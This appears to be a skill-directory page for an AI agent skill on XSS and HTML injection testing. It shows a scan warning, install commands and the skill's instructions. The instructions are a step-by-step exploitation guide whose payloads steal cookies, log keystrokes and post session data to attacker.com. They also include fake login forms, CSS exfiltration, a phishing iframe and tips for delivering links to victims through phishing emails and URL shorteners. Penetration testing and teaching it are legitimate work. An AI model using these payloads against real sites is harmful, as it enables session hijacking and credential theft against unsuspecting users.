xss-html-injection skill

by zebbern·zebbern/claude-code-guide·4.6k stars·MIT

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.

F30/100content scan

Is the xss-html-injection skill safe?

A critical finding: do not install it without reading the flagged line. We read 1 file in the folder on 2026-09-28.

criticalSKILL.md:326
Decodes hidden content and executes it: the real instructions are not readable in the file.
```
<script>eval(atob('YWxlcnQoMSk='))</script>
```

Install the xss-html-injection skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. Read the findings above first.

git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p ~/.claude/skills
cp -r /tmp/claude-code-guide/skills/xss-html-injection ~/.claude/skills/xss-html-injection

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

Target web application URL with user input fields
Burp Suite or browser developer tools for request analysis
Access to create test accounts for stored XSS testing
Browser with JavaScript console enabled

Technical Requirements

Understanding of JavaScript execution in browser context
Knowledge of HTML DOM structure and manipulation
Familiarity with HTTP request/response headers
Understanding of cookie attributes and session management

Legal Prerequisites

Written authorization for security testing
Defined scope including target domains and features
Agreement on handling of any captured session data
Incident response procedures established

Outputs / Deliverables

XSS/HTMLi vulnerability report with severity classifications
Proof-of-concept payloads demonstrating impact
Session hijacking demonstrations (controlled environment)
Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

Raw HTML reflection without encoding
Partial encoding (some characters escaped)
JavaScript execution in browser console
DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

Input persists after page refresh
Other users see injected content
Content stored in database/filesystem

Reflected XSS Indicators:

Input appears only in current response
Requires victim to click crafted URL
No persistence across sessions

DOM-Based XSS Indicators:

Input processed by client-side JavaScript
Server response doesn't contain payload
Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>

// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>

// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>

<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>

<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>

<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>

<!-- Style override -->
<style>body{background:red !important;}</style>

<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

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